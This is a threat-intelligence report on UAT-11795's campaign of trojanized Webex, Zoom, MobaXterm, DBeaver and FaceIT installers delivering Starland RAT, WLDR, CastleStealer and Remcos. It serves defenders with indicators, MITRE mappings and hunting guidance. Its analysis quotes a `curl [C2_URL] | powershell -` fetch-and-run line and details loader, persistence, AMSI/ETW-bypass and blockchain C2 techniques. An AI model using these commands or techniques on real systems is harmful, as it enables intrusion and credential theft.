UAT-11795 (Russian) Trojanizes WebEx, Zoom, MobaXterm, DBeaver, FaceIT Installers to Deploy Starland RAT and Bespoke WLDR C2 Implant

UAT-11795 (Russian) Trojanizes WebEx, Zoom, MobaXterm (TL-2026-1411) is a high-severity malware campaign, first published 2026-07-16 and last reviewed 2026-08-03. It is attributed to UAT-11795 (Russia) with medium confidence, affects Cisco Webex (trojanized third-party installer), maps to 50 MITRE ATT&CK techniques (T1005, T1008, T1016), and is covered by 9 detection rules and 55 indicators of compromise.

Key facts for TL-2026-1411

Threat ID
TL-2026-1411
Severity
HIGH
Status
ACTIVE
Category
MALWARE
First published
2026-07-16
Last reviewed
2026-08-03
Attribution
UAT-11795
Attribution confidence
MEDIUM
Nation-state nexus
Russia
Motivation
FINANCIAL
Target regions
united states of america, germany, romania, venezuela
Detection rules
9
Indicators of compromise
55
Updates
2026-08-03 · 2 updates · revalidated 1×

Malware and tooling in UAT-11795 (Russian) Trojanizes WebEx, Zoom, MobaXterm

Malware and tooling: CastleStealer, Remcos, Starland RAT, WLDR, Cisco Webex (trojanized installer), DBeaver Community Edition (trojanized installer), FaceIT (trojanized installer), MobaXterm, Polygon smart contract C2 resolution, Zoom (trojanized installer)

A financially motivated Russian-speaking threat actor tracked as UAT-11795 has been trojanizing installers for popular software (WebEx, Zoom, MobaXterm, DBeaver, FaceIT) since at least June 2025 to deliver the novel Starland RAT, a previously undocumented PowerShell C2 framework (WLDR), CastleStealer, and Remcos RAT. Victims are primarily in the United States, with secondary targeting in Germany, Romania, and Venezuela.

How UAT-11795 (Russian) Trojanizes WebEx, Zoom, MobaXterm works

Cisco Talos and BleepingComputer disclosed a financially motivated campaign attributed to UAT-11795, a Russian-speaking threat cluster active since at least June 2025 (the actor's operational Telegram channel, "stuk komanda", was created June 5, 2025). The actor distributes trojanized installers for widely used desktop software — Cisco Webex, Zoom, MobaXterm v26.1, DBeaver Community Edition, and the FACEIT gaming/anti-cheat client — as its initial-access vector, abusing the trust users place in familiar productivity, developer, and gaming tools. Initial access begins with ClickFix-style social engineering that tricks the victim into executing a command which downloads a weaponized HTA file containing embedded VBScript (a Russian-language developer comment, "Добавление команды в автозапуск для текущего пользователя", was left in the VBScript). The VBScript drops a batch file to %APPDATA%\Local\Temp\ that retrieves the trojanized NSIS installer from staging infrastructure (eorthopaedics[.]com, sastoro[.]com, web-devtools[.]com, zynaris[.]io — several likely hijacked legitimate domains) and confirms execution via a Telegram bot notification (bot ID 8384531459, "skuefq_bot").

The installer bundles the real target software alongside a Python runtime (pythonw.exe) and a compiled Python loader disguised as LICENSE.txt, a technique intended to blend into the expected file manifest of a legitimate software package. NSIS invokes `pythonw.exe LICENSE.txt`, which XOR-decrypts (key 0xC6) an embedded payload to launch Starland RAT — a novel, in-memory Python-based remote access trojan. Starland performs sandbox/analysis-environment detection (hardcoded username/hostname blocklists including WDAGUtilityAccount, Cuckoo, Any.Run, Joe Sandbox, Hybrid Analysis; Zone.Identifier ADS checks), establishes persistence via a scheduled task (`PythonLauncher-{3 random chars}`, AtLogOn trigger, RunLevel Highest, created only if running as admin) and a Startup-folder LNK targeting pythonw.exe, attempts UAC bypass via ShellExecuteW `runas`, and also drops a Registry Run-key entry (`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MyApp` → mshta.exe pointing at the original HTA). It performs extensive host/AD reconnaissance (HWID from the C: drive volume serial number, RAM via WMIC, AV products via SecurityCenter2 WMI, domain membership, `whoami`/`systeminfo`/`net user /dom`/`nltest /dclist` when domain-joined), captures a Base64-encoded PNG screenshot, enumerates 40+ desktop/browser-extension cryptocurrency wallets, and exfiltrates a consolidated JSON fingerprint (XOR key "helo1") to both a Telegram bot and its C2 over HTTP POST.

Starland's C2 protocol supports four commands — `shellexecute` (arbitrary cmd/PowerShell), `x32`/`x64` (download and APC-inject 32-bit or 64-bit shellcode), and `download` (fetch/execute EXE/MSI/DLL/ZIP) — plus an HTTP 403 kill-switch response that triggers self-deletion. The x64 shellcode path patches AmsiScanBuffer (AMSI bypass) and EtwEventWrite (ETW bypass) in memory, LZX-decompresses its payload, and reflectively loads CastleStealer, a .NET infostealer that directly reads Chromium SQLite credential stores, decrypts Firefox DPAPI/AES-GCM credentials, harvests crypto-wallet browser extensions, Discord and Telegram session files, and Steam credentials, exfiltrating over a raw TCP socket (it also excludes Russian-locale hosts and enforces a build-expiry timestamp). The x32 shellcode path uses the identical loader chain to deploy Remcos RAT, a long-abused commercial RAT providing keylogging, screen/webcam capture, audio recording, file management, shell execution, and clipboard monitoring.

Separately, Starland can pipe `curl [C2_URL] | powershell -` to fetch the WLDR stager, a previously undocumented, memory-resident PowerShell C2 framework. The WLDR stager XOR-decrypts an embedded downloader that derives the victim HWID (again from the C: volume serial number), appends it to hardcoded C2 URLs, and receives a Base64 JSON envelope (salt/IV/ciphertext/auth tag) decrypted with a key derived from a hardcoded password ("odg5t8mvssvh") plus the server-supplied salt, yielding the final memory-resident WLDR agent. The agent enforces a single-instance mutex ("f2j398fj239d8j23dkkskskkkkkkkkk"), performs its own WMI-based reconnaissance, re-derives its HWID, and communicates using AES-256-CBC with HMAC-SHA256 (encrypt-then-MAC) keyed via PBKDF2-SHA256 (5,000 iterations), a fresh IV per message, and a "WSv1" protocol tag — HTTP for the initial handshake, HTTPS (with Chrome-124 header mimicry) for a 10-second polling loop thereafter. Tasking runs through a PowerShell Runspace pool (up to 10 concurrent threads, real-time streamed output) with a PowerShell-Jobs fallback for batch execution, and a single hardcoded kill command terminates the agent.

For resilience against domain/IP takedown, Starland RAT queries the Polygon blockchain (via the legitimate polygon-rpc[.]com RPC endpoint, `eth_call` to smart contract `0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba`, function selector `0xc659f3b8`) to retrieve an XOR-encrypted (key "$m7*rYpry3") fallback C2 domain when the primary C2 is unreachable — a decentralized-infrastructure technique that complicates conventional blocklisting. Victimology is concentrated in the United States, with secondary victims identified in Germany, Romania, and Venezuela via passive DNS analysis; targeting is opportunistic and volume-driven across developer/IT-admin, enterprise-collaboration, and gamer victim profiles. No CVEs are associated with this campaign — the vector is social-engineering-driven trojanized software distribution rather than a software vulnerability.

MITRE ATT&CK techniques used in TL-2026-1411

Collection

T1005 Data from Local System; T1056.001 Input Capture: Keylogging; T1074.001 Data Staged: Local Data Staging; T1113 Screen Capture; T1123 Audio Capture; T1125 Video Capture; T1560 Archive Collected Data

Command and Control

T1008 Fallback Channels; T1071.001 Application Layer Protocol: Web Protocols; T1102.002 Web Service: Bidirectional Communication; T1104 Multi-Stage Channels; T1105 Ingress Tool Transfer; T1132.001 Data Encoding: Standard Encoding; T1573.001 Encrypted Channel: Symmetric Cryptography

Discovery

T1016 System Network Configuration Discovery; T1033 System Owner/User Discovery; T1082 System Information Discovery; T1083 File and Directory Discovery; T1087.002 Account Discovery: Domain Account; T1482 Domain Trust Discovery; T1518.001 Software Discovery: Security Software Discovery

Defense Evasion

T1027 Obfuscated Files or Information; T1036 Masquerading; T1070.004 Indicator Removal: File Deletion; T1140 Deobfuscate/Decode Files or Information; T1497 Virtualization/Sandbox Evasion; T1497.001 Virtualization/Sandbox Evasion: System Checks; T1620 Reflective Code Loading

Exfiltration

T1041 Exfiltration Over C2 Channel; T1567 Exfiltration Over Web Service

Persistence

T1053.005 Scheduled Task/Job: Scheduled Task; T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Privilege Escalation

T1055 Process Injection; T1055.004 Process Injection: Asynchronous Procedure Call; T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control

Execution

T1059.001 Command and Scripting Interpreter: PowerShell; T1059.003 Command and Scripting Interpreter: Windows Command Shell; T1059.005 Command and Scripting Interpreter: Visual Basic; T1059.006 Command and Scripting Interpreter: Python; T1106 Native API; T1569.002 System Services: Service Execution

Initial Access

T1189 Drive-by Compromise; T1195.002 Supply Chain Compromise: Compromise Software Supply Chain; T1566 Phishing

execution

T1204.002 User Execution: Malicious File

stealth

T1218.005 Mshta

Credential Access

T1552.001 Unsecured Credentials: Credentials In Files; T1555.003 Credentials from Password Stores: Credentials from Web Browsers

Impact

T1657 Financial Theft

defense-impairment

T1685 Disable or Modify Tools

Affected products and versions in UAT-11795 (Russian) Trojanizes WebEx, Zoom, MobaXterm

  • Cisco — Webex (trojanized third-party installer)
    Vulnerable versions: unofficial/trojanized installer builds
    Fixed in: official Cisco-distributed installer
  • Zoom — Zoom (trojanized third-party installer)
    Vulnerable versions: unofficial/trojanized installer builds
    Fixed in: official Zoom-distributed installer
  • MobaXterm (Mobatek) — MobaXterm (trojanized third-party installer)
    Vulnerable versions: unofficial/trojanized v26.1 installer builds
    Fixed in: official Mobatek-distributed installer
  • DBeaver — DBeaver Community Edition (trojanized third-party installer)
    Vulnerable versions: unofficial/trojanized installer builds
    Fixed in: official DBeaver-distributed installer
  • FACEIT — FaceIT client (trojanized third-party installer)
    Vulnerable versions: unofficial/trojanized installer builds
    Fixed in: official FACEIT-distributed installer

Remediation for UAT-11795 (Russian) Trojanizes WebEx, Zoom, MobaXterm

Immediate actions

  • Only obtain installers for Webex, Zoom, MobaXterm, DBeaver, and FaceIT directly from official vendor domains/app stores; block third-party download mirrors and search-ad-driven downloads at the web proxy.
  • Block/alert on resolution of known staging and C2 domains: eorthopaedics[.]com, sastoro[.]com, web-devtools[.]com, zynaris[.]io, windowscreenrepairnearme[.]com, aipythondevs[.]com.
  • Hunt for HTA execution (mshta.exe) followed by NSIS installer spawn chains, and for batch files dropped to %APPDATA%\Local\Temp\ that pull secondary installers.
  • Hunt for a file named LICENSE.txt (or similarly named 'documentation' files) being executed as an interpreter argument (e.g. `pythonw.exe LICENSE.txt`) rather than opened as text.
  • Hunt for scheduled tasks named `PythonLauncher-{3 random chars}` and Startup-folder LNK files targeting pythonw.exe.
  • Query for Registry Run-key entries under HKCU\Software\Microsoft\Windows\CurrentVersion\Run (value name 'MyApp') pointing at mshta.exe with an HTA path.
  • Alert on outbound PowerShell network beaconing with irregular, encrypted payloads consistent with a custom C2 implant, and on AES-256-CBC/PBKDF2-based PowerShell scripts with a Chrome-124 mimicked User-Agent.
  • Alert on endpoint DNS/HTTP resolution against polygon-rpc[.]com or other blockchain RPC endpoints/smart-contract query APIs (eth_call to 0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba) originating from non-developer workstations.
  • Alert on Telegram Bot API traffic to bot IDs 8384531459 and 7993597060.
  • Deploy the published ClamAV signatures (Txt.Downloader.Agent, Html.Downloader.Agent, Py.Loader.Agent, Ps1.Trojan.Agent, Ps1.Trojan.WLDRAgent, Ps1.Downloader.Agent, Win.Trojan.CastleStealer, Win.Trojan.Starland_Installer, Win.Malware.Starland, Win.Malware.Remka) and Snort SIDs 66787-66790, 301580.

Workarounds

  • Restrict local administrator rights on end-user workstations to reduce the impact of scheduled-task persistence and privilege-escalation/UAC-bypass stages.
  • Segment high-value credential stores (password managers, crypto wallets, Discord/Telegram/Steam sessions) away from general-purpose user endpoints where feasible.

Longer-term hardening

  • Deploy application allow-listing / code-signing enforcement so unsigned or improperly signed installers for common productivity and developer tools cannot execute.
  • Deploy EDR with behavioral detection tuned to shellcode injection (VirtualAllocEx/WriteProcessMemory/CreateRemoteThread, APC injection), AMSI/ETW patching (AmsiScanBuffer, EtwEventWrite), registry-run-key and scheduled-task persistence, and PowerShell Runspace-pool-based encrypted beaconing.
  • Implement DNS-layer and network egress filtering with baseline profiling of blockchain-RPC and cryptocurrency-infrastructure traffic from corporate endpoints.
  • User-awareness training on ClickFix-style social engineering and the risk of downloading software installers from search-engine ads, forums, or unofficial mirrors.

Weaknesses (CWE) in UAT-11795 (Russian) Trojanizes WebEx, Zoom, MobaXterm

CWE-506, CWE-494, CWE-311

Timeline of UAT-11795 (Russian) Trojanizes WebEx, Zoom, MobaXterm

  • Victimology concentrated in the United States from the campaign's outset, with secondary targeting in Germany, Romania, and Venezuela established via passive DNS analysis.
  • UAT-11795 begins trojanizing installers for popular desktop software as its documented earliest activity, per Cisco Talos.
  • The actor's operational Telegram channel "stuk komanda" is created, later used with bots (IDs 8384531459 and 7993597060) to receive installation-confirmation and victim-fingerprint notifications.
  • Cisco Talos captures screenshot evidence from the 'stuk komanda' operator Telegram channel showing early C2-dashboard activity, corroborating the June 2025 campaign start date.
  • Continued and expanded trojanized-installer distribution observed across MobaXterm, Webex, Zoom, DBeaver, and FACEIT installers targeting IT professionals and developers.
  • Additional operator Telegram channel messages captured by Cisco Talos shortly before public disclosure, indicating the campaign remained actively operated up to the report's publication.
  • Cisco Talos publishes indicators of compromise (domains, IPs, file hashes) to the public Cisco-Talos/IOCs GitHub repository.
  • TL-Intel Harness ingests the disclosure via RSS (BleepingComputer feed) and opens threat record TL-2026-1411 for tracking.
  • Full campaign TTPs, malware capabilities, infrastructure (staging/C2 domains, Polygon smart contract 0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba, Telegram bots), and infection chain (ClickFix -> HTA/VBScript -> NSIS installer -> LICENSE.txt Python loader -> Starland RAT -> shellcode-injected second stage / WLDR PowerShell C2) are disclosed to defenders.
  • BleepingComputer publishes coverage summarizing the Cisco Talos findings on UAT-11795's trojanized-installer campaign.
  • Starland RAT, WLDR, CastleStealer, and Remcos RAT are documented as the toolset deployed via the trojanized installers, along with the shared shellcode-loader chain (AMSI/ETW bypass, reflective PE injection) that delivers CastleStealer (x64) or Remcos (x32).
  • Cisco Talos publishes technical analysis identifying UAT-11795, documenting Starland RAT and the previously undocumented WLDR PowerShell C2 framework, including IOCs, ClamAV signatures, and Snort rules (SIDs 66787-66790, 301580).

Update history for TL-2026-1411

Sources cited for UAT-11795 (Russian) Trojanizes WebEx, Zoom, MobaXterm

Threats related to UAT-11795 (Russian) Trojanizes WebEx, Zoom, MobaXterm

Detection coverage for TL-2026-1411

As of 2026-08-03, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1411 across Splunk SPL, Microsoft KQL and Sigma, covering 55 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Community OSINT corroboration for TL-2026-1411

1 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats